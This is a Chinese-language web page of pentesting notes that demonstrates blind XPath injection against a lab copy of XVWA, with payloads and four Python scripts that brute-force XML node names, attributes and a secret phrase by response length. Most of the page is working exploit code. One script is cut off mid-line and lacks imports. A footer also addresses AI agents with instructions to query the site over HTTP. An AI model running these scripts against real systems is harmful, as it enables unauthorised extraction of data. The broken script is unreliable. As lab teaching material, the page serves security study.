> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/xpath-injection-attack/xpath-injection-techniques-pentesting-web.md).

# XPath 注入技术

这是一个网页，你可以在其中输入咖啡数量以及其他字段，例如 **id、标题、描述**，等等。

<figure><img src="/files/aa0764f1a935a69532467ab310e6f869955c84e0" alt=""><figcaption></figcaption></figure>

这是 **XML 文件** 我们应该尝试获取其内容：

<figure><img src="/files/83fa10fa3241607ced194d86691819a790c178d6" alt="" width="563"><figcaption></figcaption></figure>

### 注入步骤：

#### **过滤主元素 XML：**

使用以下内容过滤 **substring** 如果单词 Coffees 的首字母是 C：

```xml
1' and substring(name(/*[1]),1,1)='C

```

<figure><img src="/files/2627c282f30937c3e5f71016ad15483940fe14fa" alt="" width="563"><figcaption></figcaption></figure>

这 **Python** 该脚本自动化整个过程：

```python
#!/usr/bin/python3
from pwn import *
import requests
import time
import sys
import pdb
import string
import signal
def def_handler(sig, frame):
    print("/n/n[!] 正在退出.../n")
    sys.exit(1)
## XPath 注入技术
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
characters = string.ascii_letters
def xPathInjection():
    data = ""
    p1 = log.progress("暴力破解攻击")
    p1.status("开始暴力破解攻击")
    time.sleep(2)
    p2 = log.progress("数据")
    for position in range(1, 8):
        for character in characters:
            post_data = {
                'search': "1' and substring(name(/*[1]),%d,1)='%s" % (position, character),
                'submit': ''
            }
            r = requests.post(main_url, data=post_data)
            if len(r.text) != 8681:
                data += character
                p2.status(data)
                break
    p1.success("暴力破解攻击已完成")
    p2.success(data)
if __name__ == '__main__':
    xPathInjection()

```

<figure><img src="/files/917089538d59cbbfd20701e0eae185b29a30b502" alt="" width="563"><figcaption></figcaption></figure>

#### 过滤子标签 XML：

使用以下内容过滤 **substring** 如果单词 Coffee 的首字母是 C：

```xml
1' and substring(name(/*[1]/*[1]),1,1)='C

```

<figure><img src="/files/c123c853bdec9ab0832ea1437776d9616863f932" alt="" width="563"><figcaption></figcaption></figure>

这 **Python** 该脚本自动化整个过程：

<pre class="language-python"><code class="lang-python">#!/usr/bin/python3
<strong>from pwn import *
</strong>import requests
import time
import sys
import pdb
import string
import signal
def def_handler(sig, frame):
    print("/n/n[!] 正在退出.../n")
    sys.exit(1)

## XPath 注入技术

signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
characters = string.ascii_letters
def xPathInjection():
    data = ""
    p1 = log.progress("暴力破解攻击")
    p1.status("开始暴力破解攻击")
    time.sleep(2)
    p2 = log.progress("数据")
    for position in range(1, 7):
        for character in characters:
            post_data = {
                'search': "1' and substring(name(/*[1]/*[1]),%d,1)='%s" % (position, character),
                'submit': ''
            }
            r = requests.post(main_url, data=post_data)
            if len(r.text) != 8686:
                data += character
                p2.status(data)
                break
    p1.success("暴力破解攻击已完成")
    p2.success(data)
if __name__ == '__main__':
    xPathInjection()
</code></pre>

<figure><img src="/files/d4b7f5b18918bf9843903ef4c73b4a5cbe8ad464" alt="" width="563"><figcaption></figcaption></figure>

#### **过滤属性 XML：**

使用以下内容过滤 **substring** 如果单词 ID 的首字母是 I：

```markdown
1' and substring(name(/*[1]/*[1]/*[1]),1,1)='I

```

<figure><img src="/files/8b3f33d979cb6602a42aebc13f23c8a585c7635b" alt="" width="563"><figcaption></figcaption></figure>

这 **Python** 该脚本自动化整个过程：

```python
#!/usr/bin/python3
 import time
 import sys
 import pdb
 import string
 import signal
 def def_handler(sig, frame):
     print("/n/n[!] 正在退出.../n")
     sys.exit(1)
 # Ctrl+C
 signal.signal(signal.SIGINT, def_handler)
 main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
 characters = string.ascii_letters
 def xPathInjection():
     data = ""
     p1 = log.progress("暴力破解攻击")
     p1.status("开始暴力破解攻击")
     time.sleep(2)
     p2 = log.progress("数据")
     for first_position in range(1, 6):
         for second_position in range(1,21):
             for character in characters:
                 post_data = {
                     'search': "1' and substring(name(/*[1]/*[1]/*[%d]),%d,1)='%s" % (first_positio
                     'submit': ''
                 }
                 r = requests.post(main_url, data=post_data)
                 if len(r.text) != 8691 and len(r.text) != 8692:
                     data += character
                     p2.status(data)
                     break
         if first_position != 5:
             data += ":"
     p1.success("暴力破解攻击已完成")
     p2.success(data)
 if __name__ == '__main__':
     xPathInjection()

```

<figure><img src="/files/0d33f57229aed61b5981ac2b27adf8423c1ea86c" alt="" width="563"><figcaption></figcaption></figure>

#### **过滤内容的属性 XML：**

我们使用……进行过滤 **substring** 如果秘密短语的首字母是 T：

```xml
1' and substring(Secret,1,1)='T

```

<figure><img src="/files/ae2bfbf9325bad22b8ca95ae67d07c3bdaee759d" alt="" width="563"><figcaption></figcaption></figure>

这 **Python** 该脚本自动化整个过程：

<pre class="language-python"><code class="lang-python">#!/usr/bin/python3
<strong>from pwn import *
</strong>import requests
import time
import sys
import pdb
import string
import signal
def def_handler(sig, frame):
    print("/n/n[!] 正在退出.../n")
    sys.exit(1)

## XPath 注入技术

signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
characters = string.ascii_letters + ' '
def xPathInjection():
    data = ""
    p1 = log.progress("暴力破解攻击")
    p1.status("开始暴力破解攻击")
    time.sleep(2)
    p2 = log.progress("数据")
    for first_position in range(1, 100):
        for character in characters:
            post_data = {
                'search': "1' and substring(Secret,%d,1)='%s" % (first_position, character),
                'submit': ''
            }
            r = requests.post(main_url, data=post_data)
            if len(r.text) != 8676 and len(r.text) !=8677:
                data += character
                p2.status(data)
                break
    p1.success("暴力破解攻击已完成")
    p2.success(data)
if __name__ == '__main__':
    xPathInjection()
</code></pre>

<figure><img src="/files/fa3a18f6e8d215c5dcb77b395e919bdc3dc04027" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/xpath-injection-attack/xpath-injection-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
